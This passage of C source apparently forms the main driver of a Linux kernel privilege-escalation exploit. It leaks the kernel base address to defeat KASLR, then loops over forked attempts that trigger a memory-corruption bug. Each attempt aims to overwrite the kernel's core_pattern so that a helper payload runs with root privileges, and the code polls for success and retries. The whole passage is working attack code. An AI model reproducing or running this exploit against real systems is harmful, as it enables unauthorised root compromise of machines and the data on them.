	kill(pid, SIGTERM);
	waitpid(pid, NULL, 0);
}

static void wait_for_helper_finish(void)
{
	puts("[+] core_pattern is patched; waiting for helper/sysrq finish.");
	for (;;)
		pause();
}

static int wait_for_attempt(pid_t pid, int *status)
{
	for (int i = 0; i < ATTEMPT_TIMEOUT_SEC * 10; i++) {
		pid_t waited = waitpid(pid, status, WNOHANG);

		if (waited == pid)
			return 0;
		if (waited < 0 && errno != EINTR)
			die("waitpid");
		if (core_pattern_is_payload(0))
			return 1;
		usleep(100000);
	}

	printf("Attempt timed out after %d seconds, retrying...\n",
	       ATTEMPT_TIMEOUT_SEC);
	kill(-pid, SIGKILL);
	kill(pid, SIGKILL);
	waitpid(pid, status, 0);
	return -1;
}

int main(int argc, char **argv)
{
	unsigned long long base;
	pid_t waiter;
	int status = 0;

	if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0)
		return vuln_trigger_minimal();
	if (argc > 1)
		return core_pattern_helper_main(argv[1]);

	pin_to_cpu(1);
	base = leak_kaslr_base_xdk();
	rip_build_core_pattern_patches();
	printf("kernel base: %llx\n", base);
	setup_text_target_mac_bytes(base);
	printf("Core pattern at: %p\n",
	       (void *)(base + xdk_off_core_pattern));

	waiter = SYSCHK(fork());
	if (waiter == 0)
		core_pattern_waiter_child();

	for (int retry_count = 1; retry_count <= MAX_RETRY_COUNT;
	     retry_count++) {
		pid_t pid;
		int wait_result;

		printf("[.] Try %d/%d.\n", retry_count, MAX_RETRY_COUNT);
		if (core_pattern_is_payload(0))
			wait_for_helper_finish();

		pid = SYSCHK(fork());
		if (pid == 0) {
			(void)setpgid(0, 0);
			vuln_trigger_pgvec_overwrite_attempt();
			_exit(0);
		}

		wait_result = wait_for_attempt(pid, &status);
		if (wait_result > 0)
			wait_for_helper_finish();
		if (WIFSIGNALED(status)) {
			printf("Attempt %d exited by signal %d, retrying...\n",
			       retry_count, WTERMSIG(status));
		}
		if (core_pattern_is_payload(0))
			wait_for_helper_finish();
	}

	stop_waiter(waiter);
	printf("[-] Reached retry limit of %d attempts.\n", MAX_RETRY_COUNT);
	return 1;
}
